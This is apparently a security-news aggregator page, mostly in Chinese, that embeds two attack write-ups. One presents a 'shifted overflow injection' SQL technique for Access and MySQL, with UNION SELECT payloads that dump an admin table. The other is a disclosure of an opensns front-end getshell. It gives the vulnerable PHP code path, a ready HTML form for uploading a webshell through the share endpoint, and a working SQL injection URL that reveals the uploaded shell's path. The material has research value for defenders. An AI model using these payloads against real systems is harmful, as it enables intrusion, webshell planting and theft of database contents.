Aggregator
自动化工具层级图 - r00tgrok
DNS Is Still the Achilles’ Heel of the Internet
Security’s “Rule Zero” Violated Again With Zero-Day Apache Struts 2 Exploit
[Reversing.kr] Easy ELF Writeup - Zhengjim
移位溢注:告别依靠人品的偏移注入
在Access数据库类型注入的时候,我们获取不到列名(前提是有表名),一般会选择使用偏移注入,但是这种注入方式往往借助的是个人的人品,且步骤繁琐。本文中我们研究了一种新的注入技术让“偏移注入不在需要人品”。在这里定义这种注入技术为:“移位溢注技术”。 它适用于ACCESS和MYSQL(任何版本)
正文:我们先来看看普通的偏移注入步骤:
1.判断注入点 2.order by 判断长度 3.判断表名 4.联合查询 5.获取表中列数:**union select 1,2,3,4,..,\* from TABLE** 6.开始偏移注入:**TABLE as a inner join TABLE as b ona.id=b.id**由于步骤6的方法过于需要人品值,且语句繁琐,因此在这里,我们研究新的注入技术:
首先来看看步骤6语句的整体意思:
步骤6的语句,表示给TALBE取2个别名,然后分别用别名取查询TALBE的内容(表a和表b);而on a.id = b.id 这样的条件是为了满足语法需求,实际并没有作用,因为相同内容的表,相同字段内容一定相同。
这时,我们再回过头来看步骤5:
由于联合查询中select后面添加数字的目的是为了让联合查询返回接结果和网站正常查询返回的结果的列数一致(不一致数据库会报错,页面无法显示),且*表示通配符,可以表示整个表格所有列;因此这里通过数字来占位,并使用*来替代TABLE中的所有列,使得联合查询可以完成,并推算出*的值。
这时候我们继续研究偏移注入的整体公式方法,发现即使使用多级偏移注入也需要一定的概率(人品值)才可以得到想要的结果,所以我们就尝试研究新的方法能不能替换这种不固定概率的方法。
现在我们重新整理一下SQL语句,从联合查询开始:
1.原union语句:union select 1,2,3,..,p..,n from TABLE
(p=页面爆出的数字,可能有多个p1,p2..;n=原网站查询的总列数;TALBE=我们获得的表名;下面开始就使用上述字母的定义)
2.新语句:
union select 1,2,3,..,p-1,TABLE.*,p+k,..,nfrom TABLE where 字段名 = 字段内容
–在p的位置爆出TALBE表中第一个字段的内容(其他位置还可能爆出更多内容)
(这里如果存在已知字段名可以使用,没有就不用,一般id这个字段时存在的,可以使用id = 1来显示第一行)
union select1,2,3,..,p-2,TABLE.*,p+k-1,..,n from TABLE where 字段名 = 字段内容
–在p的位置爆出TALBE表中第二个字段的内容(其他位置还可能爆出更多内容)
union select 1,2,3,..,p-3,TABLE.*,p+k-2,..,nfrom TABLE where 字段名 = 字段内容
–在p的位置爆出TALBE表中第三个字段的内容(其他位置还可能爆出更多内容)
注:这里一定是TALBE.而不是
3.1 以此类推可以爆出TALBE的每一列内容。
3.2 如果p<k则没法爆出p+1列至k列的内容,如果n-p<k则无法爆出第1列至k-(n-p)列。
原理:1.由原语句:union select 1,2,3,..,p..,n-k,* from TABLE 可以得出该联合查询的目的是构造和原网站相同列数的查询结构,使得页面上可以显示对应的数字;这条语句相当于是做了两次查询并将它们的结果合并,第一次做了select 1,2,3,..,n-k from TALBE ,第二次做了select * from TALBE ,然后将它们的结果合并。
这可以参考mysql的语句:select 1,2,3,4,5,admin.* from admin;
2.只要满足原理1的要求,保障联合查询的结果和原网站查询的结果列数一致即可;因此可以将TALBE.*向前移动至页面显示的数字处来爆出TALBE列中的内容。
这可以参考mysql的语句:
select 1,2,3,4,5,6,7,8,9,10 from newswhere id =1 union select 1,2,3,4,5,6,7,admin.* from admin; select 1,2,3,4,5,6,7,8,9,10 from newswhere id =1 union select 1,2,3,admin.*,7,8,9,10 from admin;注:假设数字4、5在页面显示。
由下图可知,其实数据已近查询出来,但是页面没有显示,这个是通过平移查询结果到页面显示的数字上去,即可爆出敏感字段。
例子:步骤1:判断注入点是否存在
步骤2:
步骤3:获得表名(必备条件) and exists(select * from admin)
步骤4:获取不了列名(当尝试多个常用字段名以后,最终还是发现无法获得字段名)
步骤5:使用联合查询(union select)
步骤6:使用新注入技术方法
(1)获取admin表的列数:
UNION SELECT1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,*from admin #--返回错误页面 UNION SELECT1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,*from admin #--返回错误页面 UNION SELECT1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,*from admin #--返回错误页面 UNION SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,*from admin #--返回错误页面 ..... UNION SELECT1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,*from admin #--返回步骤5页面,因此admin表的列数为6(2)由于网页中包含连续数字,表示可以显示连续的查询结果,构造SQL语句查询前四列第一行。
UNION SELECT1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,admin.*,34,35from admin UNION SELECT1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,admin.*,34,35from admin where id = 3 总结在这里我们命名这种新注入技术为”移位溢注”。由此如果MYSQL小于5.0的情况下所具备的条件和ACCESS一样,也可以使用此方法注入,如果是MYSQL大于5.0的版本,使用此方法可以省去获得列名的步骤。
文章研究:gh0stkey & Seagull
MWC 2017: What We Learned About the Mobile Landscape
MWC (Mobile World Congress) has come and gone yet again, and over the course of the four-day conference we’ve seen...
The post MWC 2017: What We Learned About the Mobile Landscape appeared first on McAfee Blog.
CentOS7安装python-pip - magic_zero
Five Steps Users Can Take to Inoculate Themselves Against Fake News
Why Managing Low-Severity Vulnerabilities Can’t Be Just a Pipe Dream
Speed Over Security Still Prevalent in Spite of Substantial Risk for IoT Apps
A CISO’s Reflections on RSA 2017
放大招了 | Everyfont--在线压缩中文字体
0.2 BTC Strikes Back, Now Attacking MySQL Databases
Cloudbleed: What We Know and What You Should Do
Building Secure Solutions Successfully Using Systems Theory
一点初心
opensns最新版前台getshell
其实这个漏洞是我作为90sec的开年礼物,不过直到今天才想到要搬到博客上来,也算是一种公开吧。大家作为学习就行,不要恶意利用攻击他人。
漏洞分析我们先看漏洞触发点:在/Application/Weibo/Controller/ShareController.class.php中第20行:
public function doSendShare(){ $aContent = I('post.content','','text'); $aQuery = I('post.query','','text'); parse_str($aQuery,$feed_data); if(empty($aContent)){ $this->error(L('_ERROR_CONTENT_CANNOT_EMPTY_')); } if(!is_login()){ $this->error(L('_ERROR_SHARE_PLEASE_FIRST_LOGIN_')); } $new_id = send_weibo($aContent, 'share', $feed_data,$feed_data['from']); $user = query_user(array('nickname'), is_login()); $info = D('Weibo/Share')->getInfo($feed_data);可以看到这里的$aContent和$aQuery都是我们POST进来的,是我们可控的,然后可以看到将$aQuery这个变量做了一个parse_str()操作。
parse_str($aQuery,$feed_data);
然后我们开始跟踪$feed_data这个变量。可以看到最后一行将$feed_data这个变量带入到了getInfo()这个函数中。我们追踪一下该函数:
在/Application/Weibo/Model/ShareModel.class.php中:
可以看到这里的形参$param就是我们传进来的$feed_data实参。
这里有一个操作很有意思:
$info = D($param['app'].'/'.$param['model'])->$param['method']($param['id']);
其中$param['app']以及$param['model'],$param['method'],$param['id']都是我们可控的。
其中这个D()函数是thinkphp中的一个实例化类型的函数,我们追踪一下:
在/ThinkPHP/Common/functions.php中第616行:
这个函数有两个参数,但是我们只能控制第一个参数的值,也就是形参$name的值。
那么可以看到如果$layer为空的话,就取C('DEFAULT_M_LAYER')的值,那么这个值是多少呢?
在/ThinkPHP/Conf/convention.php中有:
DEFAULT_M_LAYER' => 'Model', // 默认的模型层名称
那么就是取默认的值,也就是Model。
那么意思就是说,我们只能实例化一个类名格式如xxxxxModel这样的类。
然后调用该类的哪一个方法也是我们可控的,就连方法的第一个参数也是我们可控的。
如上文所说
$info = D($param['app'].'/'.$param['model'])->$param['method']($param['id']);其中$param['method']就是我们要调用的方法名称,$param['id']就是该方法的第一个参数。
好了,大概意思就是我们能够一个实例化一个名称为xxxxxxModel的类,并调用它其中的一个任意一个public方法。
刚开始以为这能够造成一个任意代码执行啥的..结果找了很久发现并不能实例化到任意代码执行的那个类。所以又得重新找其它类。然后找来找去找到了在/Application/Home/Model/FileModel.class.php中的FileModel类。
这个类里面有一个文件上传函数:
那么意思是我们就能够调用这个文件上传函数了,我们看一下这个文件上传函数:
其中上传文件驱动默认的是Local,也就是说一定是存储在本地的。
然后$config没有进行赋值,默认是null.
然后在第三行调用了upload()函数,我们追踪一下:
在/ThinkPHP/Library/Think/Upload.class.php中第128行:
public function upload($files = '') { if ('' === $files) { $files = $_FILES; } if (empty($files)) { $this->error = '没有上传的文件!'; return false; } /* 检测上传根目录 */ if (!$this->uploader->checkRootPath()) { $this->error = $this->uploader->getError(); return false; } /* 检查上传目录 */ if (!$this->uploader->checkSavePath($this->savePath)) { $this->error = $this->uploader->getError(); return false; } /* 逐个检测并上传文件 */ $info = array(); if (function_exists('finfo_open')) { $finfo = finfo_open(FILEINFO_MIME_TYPE); } // 对上传文件数组信息处理 $files = $this->dealFiles($files); foreach ($files as $key => $file) { if (!isset($file['key'])) $file['key'] = $key; /* 通过扩展获取文件类型,可解决FLASH上传$FILES数组返回文件类型错误的问题 */ if (isset($finfo)) { $file['type'] = finfo_file($finfo, $file['tmp_name']); } /* 获取上传文件后缀,允许上传无后缀文件 */ $file['ext'] = pathinfo($file['name'], PATHINFO_EXTENSION); /* 文件上传检测 */ if (!$this->check($file)) { continue; } /* 获取文件hash */ if ($this->hash) { $file['md5'] = md5_file($file['tmp_name']); $file['sha1'] = sha1_file($file['tmp_name']); } /* 调用回调函数检测文件是否存在 */ $data = call_user_func($this->callback, $file); if ($this->callback && $data) { $drconfig = $this->driverConfig; $fname = str_replace('http://' . $drconfig['domain'] . '/', '', $data['url']); if (file_exists('.' . $data['path'])) { $info[$key] = $data; continue; } elseif ($this->uploader->info($fname)) { $info[$key] = $data; continue; } elseif ($this->removeTrash) { call_user_func($this->removeTrash, $data); //删除垃圾据 } } /* 生成保存文件名 */ $savename = $this->getSaveName($file); if (false == $savename) { continue; } else { $file['savename'] = $savename; //$file['name'] = $savename; } /* 检测并创建子目录 */ $subpath = $this->getSubPath($file['name']); if (false === $subpath) { continue; } else { $file['savepath'] = $this->savePath . $subpath; } /* 对图像文件进行严格检测 */ $ext = strtolower($file['ext']); if (in_array($ext, array('gif', 'jpg', 'jpeg', 'bmp', 'png', 'swf'))) { $imginfo = getimagesize($file['tmp_name']); if (empty($imginfo) || ($ext == 'gif' && empty($imginfo['bits']))) { $this->error = '非法图像文件!'; continue; } } $file['rootPath'] = $this->config['rootPath']; $name = get_addon_class($this->driver); if (class_exists($name)) { $class = new $name(); if (method_exists($class, 'uploadDealFile')) { $class->uploadDealFile($file); } } /* 保存文件 并记录保存成功的文件 */ if ($this->uploader->save($file, $this->replace)) { unset($file['error'], $file['tmp_name']); $info[$key] = $file; } else { $this->error = $this->uploader->getError(); } } if (isset($finfo)) { finfo_close($finfo); } return empty($info) ? false : $info; } 这就是thinkphp内置的upload()函数了,我们主要看一下以下几点: if ('' === $files) { $files = $_FILES; }如果$files是空的话,它会默认检查整个$_FILES数组,意味着不需要我们设定特定上传文件表单名。
然后重点就是对于后缀检测的这里:
/* 文件上传检测 */ if (!$this->check($file)) { continue; } 调用了check()函数,我们追踪一下: 在该文件的294行: private function check($file) { /* 文件上传失败,捕获错误代码 */ if ($file['error']) { $this->error($file['error']); return false; } /* 无效上传 */ if (empty($file['name'])) { $this->error = '未知上传错误!'; } /* 检查是否合法上传 */ if (!is_uploaded_file($file['tmp_name'])) { $this->error = '非法上传文件!'; return false; } /* 检查文件大小 */ if (!$this->checkSize($file['size'])) { $this->error = '上传文件大小不符!'; return false; } /* 检查文件Mime类型 */ //TODO:FLASH上传的文件获取到的mime类型都为application/octet-stream if (!$this->checkMime($file['type'])) { $this->error = '上传文件MIME类型不允许!'; return false; } /* 检查文件后缀 */ if (!$this->checkExt($file['ext'])) { $this->error = '上传文件后缀不允许'; return false; } /* 通过检测 */ return true; }首先看一下mimel类型的检测,调用了checkmime()函数,我们追踪一下:
在该文件的380行:
private function checkMime($mime) { return empty($this->config['mimes']) ? true : in_array(strtolower($mime), $this->mimes); } 可以看到如果$this->config['mimes']为空的话,就直接返回true了。通过上文可以知道,$config没赋值的话就是为默认的的, 而默认的$config是: private $config = array( 'mimes' => array(), //允许上传的文件MiMe类型 'maxSize' => 0, //上传的文件大小限制 (0-不做限制) 'exts' => array(), //允许上传的文件后缀 'autoSub' => true, //自动子目录保存文件 'subName' => array('date', 'Y-m-d'), //子目录创建方式,[0]-函数名,[1]-参数,多个参数使用数组 'rootPath' => './Uploads/', //保存根路径 'savePath' => '', //保存路径 'saveName' => array('uniqid', ''), //上传文件命名规则,[0]-函数名,[1]-参数,多个参数使用数组 'saveExt' => '', //文件保存后缀,空则使用原后缀 'replace' => false, //存在同名是否覆盖 'hash' => true, //是否生成hash编码 'callback' => false, //检测文件是否存在回调,如果存在返回文件信息数组 'driver' => '', // 文件上传驱动 'driverConfig' => array(), // 上传驱动配置 );
所以这里肯定是返回true的,所以mime类型检测绕过了。
然后我们开始看后缀检测:
调用了一个checkExt()函数,我们追踪一下:
在389行:
private function checkExt($ext) { return empty($this->config['exts']) ? true : in_array(strtolower($ext), $this->exts); }可以看到跟上面的一样,由于我们没有设定限定后缀,所以对于任意后缀的文件都是开放通行的,所以看到这里,就知道了,可以造成一个任意文件上传的漏洞。
但是这里有另外一个问题,就是我们并不知道上传上去的路径是多少,我们可以看一下这里对于上传后的文件名是怎么处理的:
$savename = $this->getSaveName($file);调用了一个getSaveName()函数,我们追踪一下:
在第398行:
private function getSaveName($file) { $rule = $this->saveName; if (empty($rule)) { //保持文件名不变 /* 解决pathinfo中文文件名BUG */ $filename = substr(pathinfo("_{$file['name']}", PATHINFO_FILENAME), 1); $savename = $filename; } else { $savename = $this->getName($rule, $file['name']); if (empty($savename)) { $this->error = '文件命名规则错误!'; return false; } }我们看一下我们的$this->saveName为多少,在默认的$config中有定义:
'saveName' => array('uniqid', ''),
所以不为空,我们就没办法保证保持文件名不变了,肯定会被重命名的,
那么又调用了一个getName()函数,我们追踪一下:
在该文件的第444行:
private function getName($rule, $filename) { $name = ''; if (is_array($rule)) { //数组规则 $func = $rule[0]; $param = (array)$rule[1]; foreach ($param as &$value) { $value = str_replace('__FILE__', $filename, $value); } $name = call_user_func_array($func, $param); } elseif (is_string($rule)) { //字符串规则 if (function_exists($rule)) { $name = call_user_func($rule); } else { $name = $rule; } } return $name; }
可以看到$name的赋值结果了..就是调用了uniqid()这个函数,而这个函数很不好处理:
uniqid() 函数基于以微秒计的当前时间,生成一个唯一的 ID。
我的天,以微秒计的唯一ID,就算要爆破的话,都不好爆破。所以得另想办法。
我们回到FileModel类的upload函数再去看一看:
if($info){ //文件上传成功,记录文件信息 foreach ($info as $key => &$value) { /* 已经存在文件记录 */ if(isset($value['id']) && is_numeric($value['id'])){ continue; } /* 记录文件信息 */ if($this->create($value) && ($id = $this->add())){ $value['id'] = $id;
可以发现,当我们上传完东西后,是会把我们上传的信息给记录下来的,而记录在哪里呢?没错,就是在数据库当中的ocenter_file表里面,我们可以去看一下:
可以看到我们上传的东西,这里都会有记录,包括文件保存的位置和保存的文件名,都有。
所以如果我们想知道上传后的位置和文件名,只需要我们能够从数据库中得到数据就可以了,那么怎么得到呢?
没错,就是通过注入!
注入倒是好挖,但是我们需要方便快捷一点,所以我们就需要一个能够回显的注入。
所以我又挖了一个这个cms的注入漏洞带回显的,在Application/Ucenter/Controller/IndexController.class.php中的information函数中:
public function information($uid = null) { //调用API获取基本信息 //TODO tox 获取省市区数据 $user = query_user(array('nickname', 'signature', 'email', 'mobile', 'rank_link', 'sex', 'pos_province', 'pos_city', 'pos_district', 'pos_community'), $uid); 可以看到把$uid带入到了query_user函数中,我们追踪一下该函数,在/Application/Common/Model/UserModel.class.php中: function query_user($pFields = null, $uid = 0) { $user_data = array();//用户数据 $fields = $this->getFields($pFields);//需要检索的字段 $uid = (intval($uid) != 0 ? $uid : get_uid());//用户UID //获取缓存过的字段,尽可能在此处命中全部数据 list($cacheResult, $fields) = $this->getCachedFields($fields, $uid); $user_data = $cacheResult;//用缓存初始用户数据 //从数据库获取需要检索的数据,消耗较大,尽可能在此代码之前就命中全部数据 list($user_data, $fields) = $this->getNeedQueryData($user_data, $fields, $uid);这里有个细节很重要,就是看$uid重新赋值的时候:
$uid = (intval($uid) != 0 ? $uid : get_uid());//用户UID它验证的是intval($uid)是否为0,但是取值的时候并没有intval,所以这个地方注入语句不会被过滤掉,然后我们跟进getNeddQueryData这个函数看看:
private function getNeedQueryData($user_data, $fields, $uid) { $need_query = array_intersect($this->table_fields, $fields); //如果有需要检索的数据 if (!empty($need_query)) { $db_prefix=C('DB_PREFIX'); $query_results = D('')->query('select ' . implode(',', $need_query) . " from `{$db_prefix}member`,`{$db_prefix}ucenter_member` where uid=id and uid={$uid} limit 1"); $query_result = $query_results[0]; $user_data = $this->combineUserData($user_data, $query_result); $fields = $this->popGotFields($fields, $need_query); $this->writeCache($uid, $query_result); } return array($user_data, $fields); }可以看到,直接给$uid拼接到sql语句中去了,所以造成了一个注入,并且这个注入是有回显的,非常方便。
利用方式:在首先,我们注册一个前台用户并登录上去(这种sns系统肯定会提供前台注册啦)
然后我们开始构造上传表单:
<html> <body> <form action="http://localhost/index.php?s=/weibo/share/doSendShare.html" method="post" enctype="multipart/form-data"> <label for="file">Filename:</label> <input type="file" name="file_img" id="file" /> <br /> <input type="text" name="content" value="123" id="1" /> <input type="text" name="query" id="2" value="app=Home&model=File&method=upload&id="/> <input type="submit" name="submit" value="Submit" /> </form> </body> </html>然后我们开始上传我们的webshell:
这里的两个框框里的数据都不要改,直接上传我们的shell就可以了:
然后我们点击上传,就可以成功上传了,但是上传后是不会有路径回显的,所以我们下一步,开始注入:
http://localhost/index.php?s=/ucenter/index/information/uid/23333%20union%20(select%201,2,concat(savepath,savename),4%20from%20ocenter_file%20where%20savename%20like%200x252e706870%20order%20by%20id%20desc%20limit%200,1)%23.html
就能得到我们shell的保存路径了,如图:
那么最终shell的路径就是:
http://localhost/Uploads/2017-01-20/5881ce0db9438.php